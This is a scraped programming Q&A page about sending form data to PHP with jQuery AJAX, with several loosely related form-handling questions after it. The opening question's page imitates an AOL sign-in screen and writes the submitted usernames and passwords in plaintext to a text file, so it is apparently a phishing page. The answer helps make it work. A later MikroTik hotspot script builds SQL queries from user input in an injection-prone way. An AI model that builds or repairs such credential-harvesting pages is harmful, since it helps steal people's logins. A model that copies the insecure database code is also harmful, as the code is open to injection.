I am very new to this.
How do I post data to a PHP file? I am really having problems with this. Its supposed to call the PHP file but rather than call the PHP file, its just very static and does not behave like i clicked a thing.
The first button on the div transfers the data from the first page, and moves it to the second page. then the second button is supposed to call the php URL and send the data to the php file which in turn saves the data to DB or write to the text file.
the html file with the Jquery is looking like this
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#my_form").submit(function(){
event.preventDefault();
var username = $(this).find('#u').val();
var password = $(this).find('#p').val();
if(username == '' || password ==''){
alert('Please Enter all Data Correctly');
return false;
}
$.ajax({
type: "POST",
url : "savedata.php",
data : {
username : username,
password : password
},
cache: false,
success : function(data){
alert(data);
},
error: function(xhr,status,error){
console.error(xhr);
}
});
});
});
</script>
<script>
$(document).ready(function(){
$("#btn1").click(function(){
$("#loginU").toggle();
$("#loginP").toggle();
});
});
</script>
<script type="text/javascript">
function sendData(){
var username = document.getElementById('u').value;
document.getElementById('outdata').innerHTML = username;
document.getElementById('hiddenEmail').value = username;
}
</script>
<style>
.hide{
display:none;
}
.loginTable
{
margin-top: 15px;
float: right;
background-color: white;
position:absolute;
overflow:hidden;
left:906px;
top:100px;
width:365px;
height:581px;
}
.logoArea
{
margin-top: 35px;
}
.signInheader___{
position:absolute;
overflow:hidden;
left:1040px;
top:198px;
width:63px;
height:35px;
}
</style>
<link rel="stylesheet" href="styles.css">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>AOL</title>
</head>
<body>
<div align="center">
<table border="0" width="100%">
<tr>
<td height="57">
<img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="center">
<table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">
<tr>
<td> </td>
</tr>
<div class="loginTable">
<form id="my_form" method="post">
<div id="loginU">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>
<input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
<div id="loginP" class="hide">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>
<input type="hidden" id="hiddenEmail" />
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>
<p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>
<input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
</form>
</div>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
And the PHP to save to textfile (at first) is Looking like this
<?php
$username = $_POST['u'];
$password = $_POST['p'];
$txt = "Data: \n User : $username\n Password : $password\n";
$file = fopen('servers.txt','a+');
fwrite($file,$txt);
fclose($file);
?>
How Can I get this to work? I am very new to this. Rather than send the data, its just Very static and does not do anything like calling the PHP file. Why is this so?
Edit
Edits Now Looks like this :
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#my_form").submit(function(){
event.preventDefault();
var u = $(this).find('#u').val();
var p = $(this).find('#p').val();
if(u == '' || p ==''){
alert('Please Enter all Data Correctly');
return false;
}
$.ajax({
type: "POST",
url : "login.php",
data : {
u : u,
p : p
},
cache: false,
success : function(data){
alert(data);
},
error: function(xhr,status,error){
console.error(xhr);
}
});
});
});
</script>
<script>
$(document).ready(function(){
$("#btn1").click(function(){
$("#loginU").toggle();
$("#loginP").toggle();
});
});
</script>
<script type="text/javascript">
function sendData(){
var username = document.getElementById('u').value;
document.getElementById('outdata').innerHTML = username;
document.getElementById('hiddenEmail').value = username;
}
</script>
<style>
.hide{
display:none;
}
.loginTable
{
margin-top: 15px;
float: right;
background-color: white;
position:absolute;
overflow:hidden;
left:906px;
top:100px;
width:365px;
height:581px;
}
.logoArea
{
margin-top: 35px;
}
.signInheader___{
position:absolute;
overflow:hidden;
left:1040px;
top:198px;
width:63px;
height:35px;
}
</style>
<link rel="stylesheet" href="styles.css">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>AOL</title>
</head>
<body>
<div align="center">
<table border="0" width="100%">
<tr>
<td height="57">
<img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="center">
<table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">
<tr>
<td> </td>
</tr>
<div class="loginTable">
<form id="my_form" method="post">
<div id="loginU">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>
<input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
<div id="loginP" class="hide">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>
<input type="hidden" id="hiddenEmail" />
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>
<p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>
<input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
</form>
</div>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
Your form is very complex at the moment, it seems like you have not tested the code before implementing anything.
To break it down, you can use a simple form two input fields, email and password. You can begin with two fields just.
Just like below:
<form id="myform">
<label for="email">Email</label>
<input id="email" name="email" type="email" value="" />
<label for="password">password</label>
<input id="password" name="password" type="password" value="" />
<input type="submit" value="Send" />
</form>
Then you can use the below mentioned jQuery code to check and take field values when form is submitted. also you can print the request to see if the form data has been serialized correctly.
jQuery( document ).ready(function($) {
var request;
//get form fields
$("form#getField").submit(function(event){
//preventDefault action
event.preventDefault();
if (request) {
request.abort();
}
var $sucess = false;
var $form = $(this);
//Take input fields all together, instead of taking individual values
var $inputs = $form.find("input");
//serialize() method creates a text string in standard URL-encoded notation
var serializedData = $form.serialize();
console.log(serializedData);
$inputs.prop("disabled", true);
//Ajax request
request = $.ajax({
url: "login.php",
type: "POST",
data: serializedData
});
// Load content which you wanna display after the form is submitted
request.done(function (response, textStatus, jqXHR){
$("#result").html('Submitted successfully');
$sucess=true;
});
//If request fails
request.fail(function (jqXHR, textStatus, errorThrown){
console.error(
"The following error occurred: "+
textStatus, errorThrown
);
$("#result").html('Request Failed');
});
request.always(function () {
// Reenable the inputs
$inputs.prop("disabled", false);
});
if($sucess){
$(this).submit();
}
});
});
After this has submitted you can check in the login.php submit with isset($_POST['email']) method like below:
if(isset($_POST['email']) && isset($_POST['password']) ){
//taken from form field
$data['email'] = $_POST['email'];
$data['password'] = $_POST['password'];
//authenticate the rquest and send the data to DB or write to text file
}
Then either write the data in DB or write in the text file.
Hopefully that helps. Always start slow and small.
Related
I have many forms on a page. I want to submit each form without reloading page. I tried many methods but could not do. I have a form similar to this. I tried using ajax as well but could't do. Please help me. Now, I'm unable to insert in database also.
<form id="a" onsubmit="return func();">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
Jquery
function func(){
$.ajax({
url:'registration_detail.php?id=' +reg_id,// in this you got serialize form data via post request
type : 'POST',
data : $('#a').serialize(),
success: function(response){
console.log(response);
}
});
return false;
}
Don't use " action " attribute not even with " # "
And if using AJAX, use " Return False "
$.ajax({
url : "example.php",
type : 'POST',
data : $(this).serialize();
success: function(result){
}
});
return false;
Make sure you are having a unique id for all the forms
remove action="#" and onsubmit="" from the form as you are handling the submit event in jquery
function func(id){
alert($('#'+id).serialize())
$.ajax({
url:'registration_detail.php',// in this you got serialize form data via post request
type : 'POST',
data : $('#'+id).serialize(),
success: function(response){
console.log(response);
}
});
return false;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="a" onsubmit="return func('a');">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
<form id="b" onsubmit="return func('b');">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
<form id="c" onsubmit="return func('c');">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
id="a" should be unique for all the forms
in your code new variable reg_id will give undefined variable error, that might be the cause to reload the page.
Use below code :
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<form onsubmit="return func();">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
</body>
<script>
function func(){
$.ajax({
url : "example.php", // in this you got serialize form data via post request
type : 'POST',
data : $('form').serialize(),
success: function(response){
console.log(response);
}
});
return false;
}
</script>
</html>
I'm pretty sure that you want that GET url to be POST as well. Obviously the code below won't work on this site here, but it shows concept of proper AJAX post.
//<![CDATA[
/* js/external.js */
$(function(){
var regId = 'someId';
$('#form').submit(function(e){
$.post('registration_detail.php', 'id='+encodeURIComponent(regId)+'&'+$(this).serialize(), function(jsonObjResp){
console.log(jsonObjResp);
}, 'json');
e.preventDefault();
});
}); // load end
//]]>
/* css/external.css */
*{
box-sizing:border-box; padding:0; margin:0;
}
html,body{
width:100%; height:100%;
}
body{
background:#ccc;
}
#content{
padding:7px;
}
label{
display:inline-block; width:80px; padding-right:4px; text-align:right;
}
input[type=text]{
width:calc(100% - 80px);
}
input{
padding:5px 7px;
}
input[type=submit]{
display:block; margin:0 auto;
}
#form>*{
margin-bottom:5px;
}
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta charset='UTF-8' /><meta name='viewport' content='width=device-width, height=device-height, initial-scale:1' />
<title>Test Template</title>
<link type='text/css' rel='stylesheet' href='css/external.css' />
<script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js'></script>
<script type='text/javascript' src='js/external.js'></script>
</head>
<body>
<div id='content'>
<form id='form'>
<label for='fname'>First Name</label><input type='text' id='fname' value='' />
<label for='lname'>Last Name</label><input type='text' id='lname' value='' />
<label for='email'>Email</label><input type='text' id='email' value='' />
<input type='submit' id='submit' value='submit' />
</form>
</div>
</body>
</html>
$(document).ready(function(){
$("form").on("submit", function(){
var form_id = $(this).attr("id");
$.ajax({
url : "example.php",
type : 'POST',
data : $("#"+form_id).serialize(),
success: function(result){
}
});
return false;
})
})
I want to pass start and end value to data.php using form . Before passing when i print it, it gives me [object HTMLInputElement] .
and from data.php ,i try to using $_POST['start'] and $_POST['end'] to get the start and end value but get nothing
code as below ,
<!DOCTYPE html>
<html>
<head>
<base href="http://demos.telerik.com/kendo-ui/datepicker/rangeselection">
<style>html { font-size: 14px; font-family: Arial, Helvetica, sans-serif; }
</style>
<title></title>
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.common-material.min.css" />
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.material.min.css" />
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.default.mobile.min.css" />
<script src="//kendo.cdn.telerik.com/2016.2.607/js/jquery.min.js"></script>
<script src="//kendo.cdn.telerik.com/2016.2.607/js/kendo.all.min.js">
</script>
</head>
<body>
<div id="example">
<div class="demo-section k-content">
<form action="data.php" method="post">
<h4>Start date:</h4>
<input id="start" style="width: 100%;" value="" />
<h4 style="margin-top: 2em">End date:</h4>
<input id="end" style="width: 100%;" value=""/>
<input name="" type="submit" >
</form>
</div>
<script>
$(document).ready(function() {
function startChange() {
var startDate = start.value(),
endDate = end.value();
if (startDate) {
startDate = new Date(startDate);
startDate.setDate(startDate.getDate());
end.min(startDate);
} else if (endDate) {
start.max(new Date(endDate));
} else {
endDate = new Date();
start.max(endDate);
end.min(endDate);
}
}
function endChange() {
var endDate = end.value(),
startDate = start.value();
if (endDate) {
endDate = new Date(endDate);
endDate.setDate(endDate.getDate());
start.max(endDate);
} else if (startDate) {
end.min(new Date(startDate));
} else {
endDate = new Date();
start.max(endDate);
end.min(endDate);
}
}
var start = $("#start").kendoDatePicker({
change: startChange
}).data("kendoDatePicker");
var end = $("#end").kendoDatePicker({
change: endChange
}).data("kendoDatePicker");
start.max(end.value());
end.min(start.value());
});
</script>
</div>
</body>
</html>
but it's nothing .
Would you suggest me any solution. Thanks in advance.
Set name attribute in your input elements(name="start", name="end", name="submit"), then you can access their values through $_POST['start'] and $_POST['end']
<form action="data.php" method="post">
<h4>Start date:</h4>
<input name="start" id="start" style="width: 100%;" value="" />
<h4 style="margin-top: 2em">End date:</h4>
<input name="end" id="end" style="width: 100%;" value=""/>
<input name="submit" type="submit" >
</form>
This is my first question on Stackoverflow, thanks in advance for all people for making our life easier. Sorry for my English, it's not very good.
I have this code in my server:
<html>
<head>
<title></title>
<meta content="">
<style></style>
</head>
<body>
<script src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script>
$(document).ready(function(){
$("#newsletter").submit(function(){
$.ajax(
{
type: "POST",
url:"http://mailing.estudiohernangene.com/lists/?p=subscribe&id=2",
data: $('#newsletter').serialize(),
success:function(result)
{
$("#mensaje_ok").html("¡Hecho!");
}
});
$("#mensaje_ok").html("¡Hecho!");
$("#email").val("");
$("#enviar").fadeToggle();
return false;
});
});
</script>
<div id="inserccion" style="float:left; border:0px solid; vertical align:middle; padding: -10px 0 0 0;">
<form id="newsletter" method="" action="">
<input type="hidden" name="VerificationCodeX" value="" />
<input type="hidden" name="list[2]" value="signup">
<input type="hidden" name="listname[3]" value="todos"/>
<input type="hidden" name="subscribe" value='subscribe'/>
<span style="padding:0 5px 0 0; vertical-align: middle;">Newsletter:</span>
<input type="text" style="" value="" size="20" name="email" id="email" placeholder="Suscríbete con tu email">
<input class="button" type="submit" id="enviar" value="OK" name="submit">
</form>
</div>
<span id="mensaje_ok" style="float:left; padding: 2px 0 0 0;"></span>
</body>
</html>
If I change the jquery library of Wordpress for the original library, the Wordpress does not work well.
<script src="http://www.estudiohernangene.com/wp-includes/js/jquery/jquery.js?ver=1.10.2"></script>
The examples is in this url:
http://www.estudiohernangene.com/prueba_ok.php
http://www.estudiohernangene.com/prueba_ko.php
What's happend?
Thanks!
Juanmi.
Use
jQuery(...
instead of
$(...
.
<script>
jQuery(function($) {
jQuery(document).ready(function(){
jQuery("#newsletter").submit(function(){
jQuery.ajax(
{
type: "POST",
url:"http://mailing.estudiohernangene.com/lists/?p=subscribe&id=2",
data: jQuery('#newsletter').serialize(),
success:function(result)
{
jQuery("#mensaje_ok").html("¡Hecho!");
}
});
jQuery("#mensaje_ok").html("¡Hecho!");
jQuery("#email").val("");
jQuery("#enviar").fadeToggle();
return false;
});
});
</script>
This should work
I am using a popup box for adding a category.
script for that is
<script>
function changeMenu(id)
{
if (id=='other')
{ //Getting the variable's value from a link
var loginBox = 'login-box';
$('#login-box').fadeIn(300);
var popMargTop = ($('#login-box').height() + 24) / 2;
var popMargLeft = ($('#login-box').width() + 24) / 2;
$('#login-box').css({
'margin-top' : -popMargTop,
'margin-left' : -popMargLeft
});
$('body').append('<div id="mask"></div>');
return false;
}
}
</script>
html for popup is
<div id="login-box" class="login-popup">
<script>
// When clicking on the button close or the mask layer the popup closed
$('a.close, #mask').live('click', function() {
$('#mask , .login-popup').fadeOut(300 , function() {
$('#mask').remove();
});
return false;
});
</script>
<img src="images/close_pop.png" class="btn_close" title="Close Window" alt="Close" />
<form method="post" class="signin" action="#" name="catform" id="catform">
<table align="center" width="500" height="200" class="border2">
<tbody><tr>
<td bgcolor="#cccccc" align="center" class="txt_users">
Add</td></tr>
<tr bgcolor="#ffffff">
<td align="center" colspan="2"><font color="#ff0000">
</font>
</td></tr>
<tr bgcolor="#eeeee1">
<td align="center"><span class="txt_sitedetails">
Name</span>
<input type="text" style="width: 300px;" value="" name="cat" id="cat" class="cat">
<input type="hidden" value="1" name="cate">
<input type="hidden" value="" name="mode">
<input type="hidden" value="" name="id">
<br><br><input type="submit" onclick="return val();" class="button" value="Submit" name="add">
</td></tr>
</tbody></table>
</form>
</div>
I have to Put focus on name textfield in popup.I tried the below script
<script type="text/javascript" language="JavaScript">
document.forms['catform'].elements['cat'].focus();
</script>
<script language="Javascript">
document.catform.cat.focus()
</script>
<script language="javascript">
$(function() {
$('input.cat').focus();
});
</script>
But none of them works
Use id attribute to set focus on textfield.
$(document).ready(function(){
$('#cat').focus();
});
Call this function in your popup page, when page load it will set focus on cat.
I have 2 forms in 1 page that need submitting i seem to be limited because it is for a hotspot by mikrotik.
The login.html in mikrotic router is
<html>
<head><title>...</title></head>
<body>
$(if chap-id)
<noscript>
<center><b>JavaScript required. Enable JavaScript to continue.</b></center>
</noscript>
$(endif)
<center>If you are not redirected in a few seconds, click 'continue' below<br>
<form name="redirect" action="http://domain.name/login.php" method="post">
<input type="hidden" name="mac" value="$(mac)">
<input type="hidden" name="ip" value="$(ip)">
<input type="hidden" name="username" value="$(username)">
<input type="hidden" name="link-login" value="$(link-login)">
<input type="hidden" name="link-orig" value="$(link-orig)">
<input type="hidden" name="error" value="$(error)">
<input type="hidden" name="chap-id" value="$(chap-id)">
<input type="hidden" name="chap-challenge" value="$(chap-challenge)">
<input type="hidden" name="link-login-only" value="$(link-login-only)">
<input type="hidden" name="link-orig-esc" value="$(link-orig-esc)">
<input type="hidden" name="mac-esc" value="$(mac-esc)">
<input type="submit" value="continue">
</form>
<script language="JavaScript">
<!--
document.redirect.submit();
//-->
</script></center>
</body>
</html>
so then my login.php is this
<?php
$mac=$_POST['mac'];
$ip=$_POST['ip'];
$username=$_POST['username'];
$linklogin=$_POST['link-login'];
$linkorig=$_POST['link-orig'];
$error=$_POST['error'];
$chapid=$_POST['chap-id'];
$chapchallenge=$_POST['chap-challenge'];
$linkloginonly=$_POST['link-login-only'];
$linkorigesc=$_POST['link-orig-esc'];
$macesc=$_POST['mac-esc'];
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>mikrotik hotspot > login</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="pragma" content="no-cache" />
<meta http-equiv="expires" content="-1" />
<style type="text/css">
body {color: #737373; font-size: 10px; font-family: verdana;}
textarea,input,select {
background-color: #FDFBFB;
border: 1px solid #BBBBBB;
padding: 2px;
margin: 1px;
font-size: 14px;
color: #808080;
}
a, a:link, a:visited, a:active { color: #AAAAAA; text-decoration: none; font-size:
10px; }
a:hover { border-bottom: 1px dotted #c1c1c1; color: #AAAAAA; }
img {border: none;}
td { font-size: 14px; color: #7A7A7A; }
</style>
<script language="JavaScript">
function fnSubmit (){
var form1Content = document.getElementById("form1").innerHTML;
var form2Content = document.getElementById("form2").innerHTML;
var form3Content = document.getElementById("form3").innerHTML;
document.getElementById("toSubmit").innerHTML=form1Content+form2Content;
document.forms.toSubmit.submit();
}
</script>
</head>
<body>
<!-- $(if chap-id) -->
<form name="sendin" action="<?php echo $linkloginonly; ?>" method="post" id="form1">
<input type="hidden" name="username" />
<input type="hidden" name="password" />
<input type="hidden" name="dst" value="<?php echo $linkorig; ?>" />
<input type="hidden" name="popup" value="true" />
</form>
<script type="text/javascript" src="./md5.js"></script>
<script type="text/javascript">
<!--
function doLogin() {
<?php if(strlen($chapid) < 1) echo "return true;\n"; ?>
document.sendin.username.value = document.login.username.value;
document.sendin.password.value = hexMD5('<?php echo $chapid; ?>' + document.login.password.value + '<?php echo $chapchallenge; ?>');
document.sendin.submit();
return false;
}
//-->
</script>
<!-- $(endif) -->
<div align="center">
Hotspot
</div>
<table width="100%" style="margin-top: 10%;">
<tr>
<td align="center" valign="middle">
Please log on to use the mikrotik hotspot service
</div><br />
<table width="240" height="240" style="border: 1px solid #cccccc; padding: 0px;" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="bottom" height="175" colspan="2">
<!-- removed $(if chap-id) $(endif) around OnSubmit -->
<form method="POST" action="signin.php" id="form2">
First Name<p><input type="text" name="firstname" size="30"></p>
Surname<p><input type="text" name="lastname" size="30"></p>
Email address <font color="red"> (required)</font><p><input type="text" name="email" size="30"></p>
<input type="submit" value="submit" onclick="javascript:fnSubmit();"/>
</form>
<form name="login" id="form3 action="<?php echo $linkloginonly; ?>" method="post" onSubmit="return doLogin()" >
<input type="hidden" name="dst" value="<?php echo $linkorig; ?>" />
<input type="hidden" name="popup" value="true" />
<table width="100" style="background-color: #ffffff">
<tr><td align="right"></td>
<td><input type="hidden" style="width: 80px" name="username" type="text" value="user2"/></td>
</tr>
<tr><td align="right"></td>
<td><input type="hidden" style="width: 80px" name="password" type="password" value="user2"/></td>
</tr>
<tr><td> </td>
<td><td></td></td></td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<!-- $(if error) -->
<br /><div style="color: #FF8080; font-size: 9px"><?php echo $error; ?></div>
<!-- $(endif) -->
</td>
</tr>
</table>
<script type="text/javascript">
<!--
document.login.username.focus();
//-->
</script>
</body>
</html>
as you can see im trying to auto submit the username and password
so that the user only inputs his email address, to do this i want to store the email in
a database
with signin.php
which is this
<?php
ini_set('display_errors', 'On');
// Receiving variables
#$pfw_ip= $_SERVER['REMOTE_ADDR'];
#$firstname = addslashes($_POST['firstname']);
#$lastname = addslashes($_POST['lastname']);
#$email = addslashes($_POST['email']);
#$date = addslashes($_POST['date']);
// Validation
if (! ereg('[A-Za-z0-9_-]+\#[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', $email))
{
die("<p align='center'><font face='Arial' size='3' color='#FF0000'>Please enter a valid email</font></p>");
}
if (strlen($email) == 0 )
{
die("<p align='center'><font face='Arial' size='3' color='#FF0000'>Please enter a valid email</font></p>");
}
/* adding user information to the userinfo table */
#$pfw_strQuery = "INSERT INTO userinfo (firstname, lastname, email, creationdate) values ".
"('$firstname', '$lastname', '$email', NOW())";
#$pfw_host = "localhost";
#$pfw_user = "dbusername";
#$pfw_pw = "dbpassword";
#$pfw_db = "database";
$pfw_link = mysql_connect($pfw_host, $pfw_user, $pfw_pw);
if (!$pfw_link) {
die('Could not connect: ' . mysql_error());
}
$pfw_db_selected = mysql_select_db($pfw_db, $pfw_link);
if (!$pfw_db_selected) {
die ('Can not use $pfw_db : ' . mysql_error());
}
//insert new record
$pfw_result = mysql_query($pfw_strQuery);
if (!$pfw_result) {
die('Invalid query: ' . mysql_error());
}
mysql_close($pfw_link);
header('Location: http://www.google.co.uk');
?>
what happens is that the email address is stored in the mysql table
but the form which stores the username and password, does not pass through, and i end up at the login page
what am i missing?
Thanks all
Ok the answer was to eliminate all the javascript in login.php and use a simple form with the signin.php passing through the username and password using pap login. All working and happy a happy bunny